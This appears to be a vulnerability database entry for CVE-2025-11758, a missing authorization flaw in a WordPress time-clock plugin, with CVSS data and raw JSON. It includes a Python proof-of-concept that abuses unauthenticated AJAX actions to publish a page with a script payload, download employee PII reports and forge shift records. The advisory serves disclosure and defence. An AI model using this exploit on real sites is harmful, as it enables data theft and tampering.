Security Vulnerability Report
中文
CVE-2025-11758 CVSS 6.5 MEDIUM

CVE-2025-11758

Published: 2025-11-04 05:16:02
Last Modified: 2026-04-15 00:35:42

Description

The All in One Time Clock Lite plugin for WordPress is vulnerable to unauthorized access due to a missing authorization check in all versions up to, and including, 2.0.3. This is due to the plugin exposing admin-level AJAX actions to unauthenticated users via wp_ajax_nopriv_ hooks, while relying only on a nonce check without capability checks. This makes it possible for unauthenticated attackers to create published pages, create shift records with integrity issues, and download time reports containing PII (employee names and work schedules).

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

All in One Time Clock Lite < 2.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re target = "http://vulnerable-site.com/" # Step 1: Get nonce from page resp = requests.get(target) nonce = re.search(r'ajaxnonce["\']\s*:\s*["\']([a-f0-9]+)', resp.text) if nonce: nonce = nonce.group(1) # PoC 1: Create published page requests.post(target + "wp-admin/admin-ajax.php", data={ "action": "aio_tc_create_page", "_ajax_nonce": nonce, "post_title": "Malicious Page", "post_content": "<script>alert('XSS')</script>", "post_status": "publish" }) # PoC 2: Download time reports with PII requests.post(target + "wp-admin/admin-ajax.php", data={ "action": "aio_tc_download_report", "_ajax_nonce": nonce, "report_type": "full", "date_range": "all" }) # PoC 3: Create fake shift records requests.post(target + "wp-admin/admin-ajax.php", data={ "action": "aio_tc_create_shift", "_ajax_nonce": nonce, "employee_id": "1", "clock_in": "2025-01-01 09:00:00", "clock_out": "2025-01-01 18:00:00", "integrity_flag": "corrupted" }) print("PoC executed - unauthorized actions performed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11758", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:02.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The All in One Time Clock Lite plugin for WordPress is vulnerable to unauthorized access due to a missing authorization check in all versions up to, and including, 2.0.3. This is due to the plugin exposing admin-level AJAX actions to unauthenticated users via wp_ajax_nopriv_ hooks, while relying only on a nonce check without capability checks. This makes it possible for unauthenticated attackers to create published pages, create shift records with integrity issues, and download time reports containing PII (employee names and work schedules)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/aio-time-clock-lite/tags/2.0.1/aio-time-clock-lite-actions.php#L1447", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/aio-time-clock-lite/tags/2.0.1/aio-time-clock-lite-actions.php#L26", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/aio-time-clock-lite/tags/2.0.1/aio-time-clock-lite-actions.php#L442", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3388144/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/28246279-ecd8-4731-a4cc-64a3a4167323?source=cve", "source": "[email protected]"}]}}